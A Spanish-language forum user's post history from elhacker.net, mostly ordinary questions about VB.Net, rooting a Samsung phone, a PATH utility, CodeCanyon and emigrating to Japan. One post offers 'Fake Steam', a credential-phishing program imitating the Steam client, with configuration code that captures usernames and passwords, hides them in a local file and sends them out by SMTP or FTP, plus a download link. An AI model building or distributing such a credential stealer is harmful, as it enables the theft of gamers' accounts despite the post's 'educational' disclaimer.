¿Es esto posible?, sinceramente no es que me resulte dificil desarrollar la app en C#, pero C# disminuye mi rendimiento ya que lo tengo todo optimizado para el manejo de VB.Net, y resulta muy incómodo tener que llevar a cabo una transición de lenguaje VB > C# solo para desarrollar una app, aunque si no hay más remedio...

PD: No, el framework de Xamarin para VisualStudio no soporta VB.Net.

Saludos!
#427
Buenas

Tengo un Samsung Grand Prime (SM-G530FZ), e investigando por aquí "http://forum.xda-developers.com/grand-prime/help/how-to-root-samsung-galaxy-grand-prime-t3042665/post60009397" he conseguido acceso root siguiendo un tutorial de flasheo mediante la aplicación de escritorio Odin.

Tengo la app SuperSU y he verificado que soy root con la app Root Checker, bien, todo esto de ser root lo hice por que quiero eliminar (DESINSTALAR/DESHABILITAR) unas apps del sistema que no necesito para nada pero me consumen memoria, ahora, mi pregunta es... ¿cómo narices elimino una app del sistema?, sigo sin poder hacerlo por medios "tradicionales".

Estoy seguro que es posible, más que nada por que un usuario con privilegios Root debería ser capaz de hacer lo que le venga en gana con el sistema, es claramente una supuesta ventaja del Rooting:
Cita de: http://www.phonehorn.com/2014/08/advantages-disadvantages-rooting/Advantages Of Rooting
   ...
   You can delete/freeze system apps using apps like Root Explorer, Root Browser, Titanium backup etc.
   ...

En fin, en esa cita se nombra a la aplicación Root Explorer ...pero es de pago, así que lo he intentado con Root Broswer y nada, navego hacia la carpeta .\System\App, selecciono la app que quiero desinstalar (ej: Smart Tutor), me dice que se ha desinstalado correctamente pero es mentira, el proceso sigue estando activo, la app instalada, y el icono acceso directo de la app.

También lo he probado con la aplicación de escritorio Wondershare MobileGo, pero me dice que no se permite desinstalar la app :-/


(en esta aplicación también he verificado una vez más que soy Root, pero no puedo desinstalar nada...)

En fin, no veas que mareo para desinstalar una maldita app del sistema... ¿cómo lo tengo que hacer?.

Saludos!
#428
La vida me resulta extraña a la par que espectacular, igual que este video, el cual simplemente quiero compartirlo.

[youtube=960,540]https://www.youtube.com/watch?v=lMtFYt7ko_o[/youtube]
(Lo que se ve en el minuto 0:29 es un parásito invasivo, un ácaro.)

[youtube=960,540]https://www.youtube.com/watch?t=180&v=6-tqiaPoS2U[/youtube]
(tiene subtítulos, en Inglés)

Saludos!
#429
El tema ha sido movido a Scripting.
LOS LENGUAJES DE SCRIPTING NO VAN EN ESTA SECCIÓN.
http://foro.elhacker.net/index.php?topic=435289.0
#430
El tema ha sido movido a Scripting.
LAS PREGUNTAS DE BATCH VAN EN SCRIPTING !!
http://foro.elhacker.net/index.php?topic=435196.0
#431



Descripción



PATHS es una aplicación por línea de comandos para administrar las entradas de la variable de entorno PATH y PATHEXT de Windows.


Características




  • Tiene opciones para agregar y eliminar entradas así como limpiar, restaurar o crear una copia de seguridad del PATH y del PATHEXT.
  • Instalador personalizado con integración en el menú contextual de directorios.


Imágenes


       


Descarga



Última versión:
http://www.mediafire.com/download/ffuxgwezf4jd5c0/PATHS.rar

Versiones anteriores:
http://foro.elhacker.net/net/source_paths_administra_las_entradas_de_las_variables_de_entorno_path_y-t398347.0.html;msg1883825#msg1883825


Versión en RUBY (deprecada):
http://foro.elhacker.net/scripting/ruby_apporte_para_windows_paths_v03_una_utilidad_para_el_path-t375961.0.html;msg1800672#msg1800672

Saludos!
#432
Hola, ¿que tal?

Me gustaría saber si alguien de aquí ha vendido algún código o software en codecanyon, en realidad es para saber si realmente merece la pena, por lo que he visto se llevan una buena tajada de comisión (que eso ya para empezar, te hecha para atrás) y veo que productos magnificos y elaboradísimos que siendo realistas deberían valer un pastizal pero valen 10$ o 5$ ...¿será que hay demasiada competencia quizás?.

¿Alguna opinión sobre este servicio?.

Aparte, la primera impresión que he tenido es que para ser una web tan reconocida deja mucho que desear en el sentido de intentar facilitarle al vendedor los pasos a seguir, por ejemplo las imagenes debes subirlas comprimidas en formato ZIP ...no soporta ningún otro formato común como RAR, las imagenes deben tener un tamaño específico...no tiene ningún algoritmo de auto-resize, y en fin, si no cumples esos y otros requisitos al pie de la letra te tira error, esas son las primera pegas que le pongo.

Saludos!
#433


Descripción



Esta aplicación es una simple falsificación (fake) del cliente de Steam correspondiente a la versión 2.70.82.9, el desarrollo de esta aplicación ha sido con fines educativos, con el objetivo de demostrar cómo se puede elaborar un engaño de este tipo para simular la ejecución de una aplicación legítima y así obtener datos personales (el usuario y la contraseña de Steam),
queda bajo su responsabilidad el uso que le vaya a dar a este programa.

Por fuera el usuario solo verá una aplicación que consta de 3 Forms con un par de botones y poco más, pero lo cierto es que he invertido bastante esfuerzo para conseguir elaborar una buena "mímica" (o al menos considero que es buena), hay una gran labor detrás ...en el código fuente, y con mucho código rehutilizable que les puede servir para proyectos relacionados.


Características




  • Soporte multi idioma, soportando un total de 22 de los 26 idiomas del cliente original de Steam. Los idiomas no soportados son Koreano, Japonés, Chino tradicional y Chino simplificado
  • Auto-detección de idioma. Por defecto se detectará el idioma del cliente steam instalado en el PC, si el cliente no está instalado se intentará utilizar el idioma del SO, si esto falla también, se utilizará el Inglés.
  • Simulación elaborada de varias características del cliente original de Steam, así cómo de los efectos de iluminación de los controles de la interfáz original.
  • Almacenamiento de usuario/contraseña en archivo local.
  • Envio de usuario/contraseña mediante SMTP.
  • Envio de usuario/contraseña mediante FTP.

En resumen he intentado cuidar todos los detalles posibles, aunque no soy perfecto, claro está.


Imágenes (de la interfáz en inglés)


       



Demostración y comparación de similitud



[youtube=720,480]https://www.youtube.com/watch?v=6ihWCfU1y5A[/youtube]


Configuración



Para configurar el programa hay que compilar el código fuente, dentro del código fuente encontrarán la carpeta/namespace Config que contiene todos los valores configurables del programa:



La configuración del idioma:
Código (vbnet) [Seleccionar]
#Region " Steam Interface Configuration "

       ''' <summary>
       ''' The default steam interface language.
       ''' Use this for testing purposses
       ''' </summary>
       Public Shared ReadOnly DefaultSteamLanguage As New CultureInfo("en-US")

       ''' <summary>
       ''' If set to <c>True</c>, overrides the default steam interface language instead of detect the proper language.
       ''' Use this for testing purposses
       ''' </summary>
       Public Shared ReadOnly UseDefaultSteamLanguage As Boolean = False

#End Region

Nota: Los nombres de las culturas disponibles están especificados en el método DetectLanguage de la Class SteamHelper.


La configuración del nombre de usuario y contraseña:
Código (vbnet) [Seleccionar]
#Region " Username and Password Configuration "

       ''' <summary>
       ''' The string format to write/upload/send the captured username/password.
       ''' </summary>
       Public Shared ReadOnly UserPassTextFormat As String =
<a><![CDATA[
Username={0}
Password={1}
]]></a>.Value

#End Region



La configuración de almacenamiento local:
Código (vbnet) [Seleccionar]
#Region " Local Storage Configuration "

       ''' <summary>
       ''' If set to <c>True</c>, enables local storage of the username/password.
       ''' </summary>
       Public Shared ReadOnly EnableLocalStorage As Boolean = True

       ''' <summary>
       ''' The local directory where to write the file.
       ''' If the directory doesn't exists, it will try to create it.
       ''' </summary>
       Public Shared ReadOnly LocalDir As String =
           Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), " Fake Steam")

       ''' <summary>
       ''' The file name to store the data on the local directory.
       ''' By default is "FakeSteam_{ComputerName}_{Username}_{Day}-{Month}-{Year}_{Hour}-{Minute}-{Seconds}.txt"
       ''' </summary>
       Public Shared ReadOnly LocalFilenameFormat As String =
           String.Format("FakeSteam_{0}_{1}_{2}.txt", Environment.MachineName, Environment.UserName, DateTime.Now.ToString("dd-MM-yyyy\_hh-mm-ss"))

       ''' <summary>
       ''' Sets the local directory attributes, such as system or hidden.
       ''' </summary>
       Public Shared ReadOnly DirAttribs As FileAttributes = FileAttributes.Normal

       ''' <summary>
       ''' Sets the local file attributes, such as readonly or hidden.
       ''' </summary>
       '''
       Public Shared ReadOnly FileAttribs As FileAttributes = FileAttributes.Normal

       ''' <summary>
       ''' Sets the textfile encoding.
       ''' </summary>
       Public Shared ReadOnly FileEncoding As Encoding = Encoding.Default ' ANSI Encoding.

#End Region



La configuración de envío SMTP:
Código (vbnet) [Seleccionar]
#Region " SMTP Sending Configuration"

       ''' <summary>
       ''' If set to <c>True</c>, enables STMP sending of the username/password.
       ''' </summary>
       Public Shared ReadOnly EnableSmtp As Boolean = True

       ''' <summary>
       ''' The SMTP server.
       ''' </summary>
       Public Shared ReadOnly SmtpServer As New SmtpClient("smtp.gmail.com")

       ''' <summary>
       ''' The SMTP server port.
       ''' </summary>
       Public Shared ReadOnly SmtpPort As Integer = 0

       ''' <summary>
       ''' The SMTP security.
       ''' </summary>
       Public Shared ReadOnly SmtpSslEnabled As Boolean = True

       ''' <summary>
       ''' The mail account address.
       ''' </summary>
       Public Shared ReadOnly MailAddress As New MailAddress("name@serv.com")

       ''' <summary>
       ''' The mail account username/password credentials.
       ''' </summary>
       Public Shared ReadOnly MailCredentials As New NetworkCredential("username", "password")

       ''' <summary>
       ''' The mail subject.
       ''' By default is "Steam_{ComputerName}_{Username}_{Day}-{Month}-{Year}_{Hour}-{Minute}-{Seconds}"
       ''' </summary>
       Public Shared ReadOnly MailSubject As String =
           String.Format("Steam_{0}_{1}_{2}", Environment.MachineName, Environment.UserName, DateTime.Now.ToString("dd-MM-yyyy\_hh-mm-ss"))

#End Region



La configuración de envío FTP:
Código (vbnet) [Seleccionar]
#Region " FTP Uploading Configuration "

       ''' <summary>
       ''' If set to <c>True</c>, enables FTP upload of the username/password.
       ''' </summary>
       Public Shared ReadOnly EnableFtp As Boolean = False

       ''' <summary>
       ''' The FTP Server address.
       ''' </summary>
       Public Shared ReadOnly FtpAddress As Uri = New Uri("ftp://127.0.0.1/")

       ''' <summary>
       ''' The FTP server port.
       ''' </summary>
       Public Shared ReadOnly FtpPort As Integer = 21

       ''' <summary>
       ''' The FTP username/password credentials.
       ''' </summary>
       Public Shared ReadOnly FtpCredentials As New NetworkCredential("username", "password")

       ''' <summary>
       ''' The FTP directory where to upload the file.
       ''' The directory path should exist.
       ''' </summary>
       Public Shared ReadOnly FtpDir As String = "Fake Steam/"

       ''' <summary>
       ''' The file name to store the data on the FTP directory.
       ''' By default is "FakeSteam_{ComputerName}_{Username}_{Day}-{Month}-{Year}_{Hour}-{Minute}-{Seconds}.txt"
       ''' </summary>
       Public Shared ReadOnly FtpFilenameFormat As String = UserConfig.LocalFilenameFormat

       ''' <summary>
       ''' If set to <c>True</c>, uses Binary mode for the file transfer.
       ''' </summary>
       Public Shared ReadOnly UseBinaryTransfer As Boolean = False

#End Region



Descarga



http://www.mediafire.com/download/iocwwp3r3i59mdd/Fake+Steam.rar






IMPOTANTE: Compilar la solución en modo Release, en el modo Release suprimo las excepciones controladas, aparte, el modo Debug tiene un comportamiento distinto y se muestran controles adicionales para testear el la iluminación de los botones:




Saludos!
#434
La ilusión

Sabemos que el sueño de muchas personas jóvenes y no tan jóvenes es vivir en japón, ya sea por su enigmática cultura (Samurai, Sumo, Geishas...), la belleza de sus paisajes, el erotismo de las asiáticas, la tranquilidad que se puedes respirar desde aquí en las ciudades más apartadas del centro, la estricta disciplina que de algún modo evita varios de los altercados a los que estamos acostumbrados a vivir a diario en España, los increibles avances tecnológicos, o simplemente por que un friki no puede evitar tener ese sueño.

Pero... ¿y si un soñador cumpliese ese sueño, vivir en Japón, seguiria siendo un bonito sueño, o se convertiría en una pesadilla?.

Me estoy planteando seriamente trasladarme a vivir allí, en Japón encuentro muchas cosas que España y otros paises no pueden darme, sería la primera vez que haría algo así en mi vida, y la única vez que podría hacerlo, por que no podría dar marcha atrás para arrepentirme si las cosas no me saliesen bien,
por ese motivo quiero lanzar esta pregunta con la intención de que ustedes escriban criticas constructivas y realistas, respuestas y orientación que pueda servir de algo, no solo a mi, sino a todos los que deseen hacer algo de esta magnitud y quieran saber más.



La reflexión

¿Cual es el futuro que le depararía a un Español que se vaya a vivir en Japón?, ¿Que opciones existen para sobrevivir sin sufrir?, ¿Cómo lo planearía usted?.

Yo, soy una persona que no tiene ni idea de japonés, y eso me da miedo ...por que no saber el idioma natal siempre va a ser un impedimento para lograr alguna meta, y no se cuanta será la población española/latina allí... pero obviamente será escasa, no me sirve de consuelo, se que estaría rodeado de japoneses que al igual que yo, no tendrían ni idea de hablar mi idioma.

Mi habilidad para el ingles escrito es excelente, puedo entenderlo y escribirlo bien sin ayuda, pero en una conversación cara a cara me pierdo, no puedo interpretar las palabras de una persona al vuelo, a menos que esa persona hablase a una velocidad muy lenta, en un tono específico, vocalizando muy bien cada palabra para poder entenderle ...pero ningún yankee habla tan "entendible" cómo solemos ver en las películas dobladas, por ende, el inglés tampoco sería un punto muy a mi favor.

Mi economía es la suficiente para poder viajar hasta allí, tirar los dados, y esperar que salgan los números correctos, es algo muy arriesgado, no puedo esperar que todo vaya bien mientras vivo lo que pueda de alquilado, necesitaría un trabajo, a ser posible estable, ¿pero cómo conseguir un trabajo en un sitio donde no sabes ni por donde empezar a sobrevivir?.



La ayuda

Lo primero de todo sería pensar en quien acudir cuando lleguemos allí, pero ...¿a quien acudir?, eso es otro gran problema.

Lo primero que se me ocurrió fue investigar sobre a que tipo de servicios tenemos derecho los españoles en un lugar desconocido, es decir, la embajada española de Japón (que por el momento no he descubierto su localización exacta, ni en googlemaps), pero investigando encontré criticas constructivas y negativas que afortunadamente desvelan el patético fiasco de embajada que sin duda alguna me ayudaría a evitar mayores complicaciones y prevenir dificultades, por que una cosa hay que tener clara si se quiere vivir en japón, la embajada no te va a ayudar a sobrevivir.

La embajada española de Japón, abre sus puertas de 12:00 a 2:00 (y cómo tengan algún visitante "importante" olvídate de que te atiendan a ti en ese absurdo margen de horario), además hay que acudir al edificio en cuestion porque no contestan a emails ni cogen llamadas, y aparte de eso, según la crítica de este chaval, ellos no te pueden informar sobre trabajo ni aprendizaje del idioma ni nada básico para tu supervivencia en ese país, ¡se rascan los huevos tal que buen español!.


Entonces... si a pesar de tener un derecho legítimo a recibir ayuda del estado en otro pais, a sobrevivir en ese pais, no puedo recibir esa ayuda, ¿cómo sobrevive un español en Japón?.

El departamento de inmigración española en Japón tampoco lo encontré, pero bueno... pienso que de todas formas nunca hay que agarrarse con las dos manos a ese tipo de entidades, que te pueden negar el derecho a la ayuda humanitaria, o mandarte a la otra punta de china a que te busques la vida...

Por ende, creo que sería importante conocer lugares publicos en la red, algo cómo foros o chats donde poder consultar este tipo de cosas, donde alguien esté dispuesto a ayudar o compartir sus experiencias, para poder aprender lo que te vas a encontrar antes de viajar tan lejos, o para saber donde ir, quizas hacer algún ciber-amigo español que viva allí para tener algo a lo que agarrarte, ¿alguien sabe de algún lugar así en internet?.



La comunicación

Otra cosa prioritaria para cualquier persona creo que sería comprar un buen diccionario español-japonés y viceversa, pero creo que no existe ninguno o yo no se buscar bien, ni en amazon ni en otras webs encuentro nada (ni en la web oficial de oxford o collins), solo hay diccionarios/traductores online, que vale, muy bonito, pero me da cierta seguridad un diccionario de toda la vida para esos momentos en los que la tecnología falla y no se pueda depender de ella, pues no hay diccionarios o es muy dificil encontrar uno a la venta.

y por supuesto y más importante, inscribirse en una escuela donde enseñen japones al español, ya sea estando en España o estando en Japón (no se si hacerlo de algún modo aportaría mayores beneficios para el aprendizaje), no lo he hecho todavía... creo que es algo precoz sin conocer más detalles del modo de vida de un Español en un país así, el japonés solo me serviría estando en japón, y soy consciente de que el japonés sería algo muy, muy dificil de aprender, necesitaría varios años de aprendizaje para desenvolverme medianamente bien con el japones hablado o escrito, o eso creo, se que hay más de 6.000 símbolos japoneses ...algo imposible de aprender, bueno, son de la antigua caligrafía japonesa que ni la mayoría de los japoneses conocen (segun varios documentales que he visto, eso dicen), pero a mi un solo símbolo japonés me resulta complejo de interpretar, escribir, o traducir, claro que... no estoy estudiando japonés.



El trabajo

Creo que intentar buscar ayuda sería lo primero, pero encontrar ayuda puede resultar dificil o imposible si no sabes cómo encontrarla o si no te la ofrecen quien te la debería ofrecer, entonces, ¿que posibilidades hay de encontrar un trabajo?.

He visto muchas veces en la TV, a personas reales, es decir, el ciudadano medio (no estos típicos pijos ricos que sueltan pasta y ya viven como quieren), españoles, latinas, brasileños, que han debido cambiar completamente su antiguo modo de vida para sobrevivir en Japón, convertirse en un japones más (y de verdad que lo parecen), esta gente ha tenido la suerte de encontrar trabajos sencillos, en muchos casos rústicos, con los que parecen vivir bien y de un modo feliz, o al menos mejor de lo que vivian en sus paises de origen, eso parece.

Yo estoy dispuesto a "convertirme" en uno más, ¿pero un extranjero cómo consigue un trabajo en un pais así?, ¿se necesita suerte, o esfuerzo?, ¿cómo lograr esa meta final del trabajo, sin saber nada de este pais, ni a quien acudir, ni cómo comunicarte o con quien hacerlo?.



Cualquier comentario se agradece.

Saludos!
#436
El tema ha sido movido a Programación C/C++.

NO DUPLICAR TEMAS, LEER LAS NORMAS DLE FORO, GRACIAS.

http://foro.elhacker.net/index.php?topic=433811.0
#439
Buenas!!!

Cómo ya hice alguna que otra vez aquí mismo, publico este mensaje para mostrar mi agradecimiento a todos los que me ayudaron en el pasado...y a todos los que forman "elhacker.net" y su foro, aunque no puedo hacerle un regalo a todos, pero si puedo sortearlo de esta manera al que esté más espavilado :P

Así que, una vez más vengo a regalar un código/cupón para una cuenta premium de 48 horas en Uploaded.Net a la primera persona que deje su comentario en este post.

Las únicas condiciones son que esa persona debe tener al menos 500 mensajes publicados, y debe estar registrado desde hace más de un año.
( tampoco pido mucho, solo que hayan colaborado lo suficiente en el foro ::) )

Saludos!
#448
Programación General / MOVIDO: DLL en c#
24 Marzo 2015, 00:30 AM